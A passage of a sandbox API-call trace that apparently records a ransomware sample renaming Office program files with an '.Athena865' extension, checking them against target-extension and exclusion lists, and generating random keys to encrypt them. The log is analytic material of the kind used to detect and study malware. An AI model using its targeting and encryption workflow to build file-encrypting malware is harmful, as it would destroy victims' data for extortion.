(lpString1="MLSHEXT.DLL", lpString2=".sys") returned 1 [0075.336] lstrlenW (lpString="MLSHEXT.DLL") returned 11 [0075.336] lstrlenW (lpString="bak") returned 3 [0075.336] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0075.336] lstrlenW (lpString="ba_") returned 3 [0075.336] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0075.336] lstrlenW (lpString="dbb") returned 3 [0075.336] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0075.336] lstrlenW (lpString="vmdk") returned 4 [0075.336] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0075.336] lstrlenW (lpString="rar") returned 3 [0075.336] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0075.336] lstrlenW (lpString="zip") returned 3 [0075.336] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0075.336] lstrlenW (lpString="tgz") returned 3 [0075.336] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0075.336] lstrlenW (lpString="vbox") returned 4 [0075.337] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0075.337] lstrlenW (lpString="vdi") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0075.337] lstrlenW (lpString="vhd") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0075.337] lstrlenW (lpString="vhdx") returned 4 [0075.337] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0075.337] lstrlenW (lpString="avhd") returned 4 [0075.337] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0075.337] lstrlenW (lpString="db") returned 2 [0075.337] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0075.337] lstrlenW (lpString="db2") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0075.337] lstrlenW (lpString="db3") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0075.337] lstrlenW (lpString="dbf") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0075.337] lstrlenW (lpString="mdf") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0075.337] lstrlenW (lpString="mdb") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0075.337] lstrlenW (lpString="sql") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0075.337] lstrlenW (lpString="sqlite") returned 6 [0075.337] lstrcmpiW (lpString1="XT.DLL", lpString2="sqlite") returned 1 [0075.337] lstrlenW (lpString="sqlite3") returned 7 [0075.337] lstrcmpiW (lpString1="EXT.DLL", lpString2="sqlite3") returned -1 [0075.337] lstrlenW (lpString="sqlitedb") returned 8 [0075.337] lstrcmpiW (lpString1="HEXT.DLL", lpString2="sqlitedb") returned -1 [0075.337] lstrlenW (lpString="xml") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0075.337] lstrlenW (lpString="$er") returned 3 [0075.337] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0075.338] lstrlenW (lpString="4dd") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0075.338] lstrlenW (lpString="4dl") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0075.338] lstrlenW (lpString="^^^") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0075.338] lstrlenW (lpString="abs") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0075.338] lstrlenW (lpString="abx") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0075.338] lstrlenW (lpString="accdb") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0075.338] lstrlenW (lpString="accdc") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0075.338] lstrlenW (lpString="accde") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0075.338] lstrlenW (lpString="accdr") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0075.338] lstrlenW (lpString="accdt") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0075.338] lstrlenW (lpString="accdw") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0075.338] lstrlenW (lpString="accft") returned 5 [0075.338] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0075.338] lstrlenW (lpString="adb") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.338] lstrlenW (lpString="adb") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.338] lstrlenW (lpString="ade") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0075.338] lstrlenW (lpString="adf") returned 3 [0075.338] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0075.339] lstrlenW (lpString="adn") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0075.339] lstrlenW (lpString="adp") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0075.339] lstrlenW (lpString="alf") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0075.339] lstrlenW (lpString="ask") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0075.339] lstrlenW (lpString="btr") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0075.339] lstrlenW (lpString="cat") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0075.339] lstrlenW (lpString="cdb") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0075.339] lstrlenW (lpString="ckp") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0075.339] lstrlenW (lpString="cma") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0075.339] lstrlenW (lpString="cpd") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0075.339] lstrlenW (lpString="dacpac") returned 6 [0075.339] lstrcmpiW (lpString1="XT.DLL", lpString2="dacpac") returned 1 [0075.339] lstrlenW (lpString="dad") returned 3 [0075.339] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0075.339] lstrlenW (lpString="dadiagrams") returned 10 [0075.339] lstrcmpiW (lpString1="LSHEXT.DLL", lpString2="dadiagrams") returned 1 [0075.339] lstrlenW (lpString="daschema") returned 8 [0075.339] lstrcmpiW (lpString1="HEXT.DLL", lpString2="daschema") returned 1 [0075.339] lstrlenW (lpString="db-journal") returned 10 [0075.339] lstrcmpiW (lpString1="LSHEXT.DLL", lpString2="db-journal") returned 1 [0075.339] lstrlenW (lpString="db-shm") returned 6 [0075.339] lstrcmpiW (lpString1="XT.DLL", lpString2="db-shm") returned 1 [0075.339] lstrlenW (lpString="db-wal") returned 6 [0075.340] lstrcmpiW (lpString1="XT.DLL", lpString2="db-wal") returned 1 [0075.340] lstrlenW (lpString="dbc") returned 3 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0075.340] lstrlenW (lpString="dbs") returned 3 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0075.340] lstrlenW (lpString="dbt") returned 3 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0075.340] lstrlenW (lpString="dbv") returned 3 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0075.340] lstrlenW (lpString="dbx") returned 3 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0075.340] lstrlenW (lpString="dcb") returned 3 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0075.340] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0075.340] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL.Athena865") returned 64 [0075.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mlshext.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mlshext.dll.athena865"), dwFlags=0x1) returned 1 [0075.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mlshext.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.342] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22912) returned 1 [0075.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.342] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.343] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.343] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.343] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c80, lpName=0x0) returned 0x17c [0075.345] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c80) returned 0x100000 [0075.346] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.347] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.347] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.348] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.348] CloseHandle (hObject=0x17c) returned 1 [0075.348] CloseHandle (hObject=0x154) returned 1 [0075.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.348] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="..") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="windows") returned -1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="bootmgr") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="temp") returned -1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="pagefile.sys") returned -1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="boot") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="ids.txt") returned 1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="ntuser.dat") returned -1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="perflogs") returned -1 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2="MSBuild") returned -1 [0075.349] lstrlenW (lpString="MML2OMML.XSL") returned 12 [0075.349] lstrcpyW (in: lpString1=0x241e89e, lpString2="MML2OMML.XSL" | out: lpString1="MML2OMML.XSL") returned="MML2OMML.XSL" [0075.349] lstrlenW (lpString="MML2OMML.XSL") returned 12 [0075.349] lstrlenW (lpString="Athena865") returned 9 [0075.349] lstrcmpiW (lpString1="2OMML.XSL", lpString2="Athena865") returned -1 [0075.349] lstrlenW (lpString=".dll") returned 4 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".dll") returned 1 [0075.349] lstrlenW (lpString=".lnk") returned 4 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".lnk") returned 1 [0075.349] lstrlenW (lpString=".ini") returned 4 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".ini") returned 1 [0075.349] lstrlenW (lpString=".sys") returned 4 [0075.349] lstrcmpiW (lpString1="MML2OMML.XSL", lpString2=".sys") returned 1 [0075.349] lstrlenW (lpString="MML2OMML.XSL") returned 12 [0075.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL.Athena865") returned 65 [0075.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl.athena865"), dwFlags=0x1) returned 1 [0075.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.353] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=155527) returned 1 [0075.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.353] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.354] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.354] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.354] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26290, lpName=0x0) returned 0x17c [0075.355] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26290) returned 0x170000 [0075.367] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.367] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.367] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.368] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0075.369] CloseHandle (hObject=0x17c) returned 1 [0075.369] CloseHandle (hObject=0x154) returned 1 [0075.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.370] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".") returned 1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="..") returned 1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="windows") returned -1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="bootmgr") returned 1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="temp") returned -1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="pagefile.sys") returned -1 [0075.370] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="boot") returned 1 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="ids.txt") returned 1 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="ntuser.dat") returned -1 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="perflogs") returned -1 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2="MSBuild") returned -1 [0075.371] lstrlenW (lpString="MODELENG.DLL") returned 12 [0075.371] lstrcpyW (in: lpString1=0x241e89e, lpString2="MODELENG.DLL" | out: lpString1="MODELENG.DLL") returned="MODELENG.DLL" [0075.371] lstrlenW (lpString="MODELENG.DLL") returned 12 [0075.371] lstrlenW (lpString="Athena865") returned 9 [0075.371] lstrcmpiW (lpString1="ELENG.DLL", lpString2="Athena865") returned 1 [0075.371] lstrlenW (lpString=".dll") returned 4 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".dll") returned 1 [0075.371] lstrlenW (lpString=".lnk") returned 4 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".lnk") returned 1 [0075.371] lstrlenW (lpString=".ini") returned 4 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".ini") returned 1 [0075.371] lstrlenW (lpString=".sys") returned 4 [0075.371] lstrcmpiW (lpString1="MODELENG.DLL", lpString2=".sys") returned 1 [0075.371] lstrlenW (lpString="MODELENG.DLL") returned 12 [0075.371] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL.Athena865") returned 65 [0075.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\modeleng.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\modeleng.dll.athena865"), dwFlags=0x1) returned 1 [0075.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\modeleng.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.374] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=652136) returned 1 [0075.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.375] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.375] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.375] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9f670, lpName=0x0) returned 0x17c [0075.376] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9f670) returned 0x2d50000 [0075.399] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.400] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.400] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.401] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.406] CloseHandle (hObject=0x17c) returned 1 [0075.406] CloseHandle (hObject=0x154) returned 1 [0075.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.409] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="..") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="windows") returned -1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="bootmgr") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="temp") returned -1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="pagefile.sys") returned -1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="boot") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="ids.txt") returned 1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="ntuser.dat") returned -1 [0075.409] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="perflogs") returned -1 [0075.410] lstrcmpiW (lpString1="MORPH9.DLL", lpString2="MSBuild") returned -1 [0075.410] lstrlenW (lpString="MORPH9.DLL") returned 10 [0075.410] lstrcpyW (in: lpString1=0x241e89e, lpString2="MORPH9.DLL" | out: lpString1="MORPH9.DLL") returned="MORPH9.DLL" [0075.410] lstrlenW (lpString="MORPH9.DLL") returned 10 [0075.410] lstrlenW (lpString="Athena865") returned 9 [0075.410] lstrcmpiW (lpString1="ORPH9.DLL", lpString2="Athena865") returned 1 [0075.410] lstrlenW (lpString=".dll") returned 4 [0075.410] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".dll") returned 1 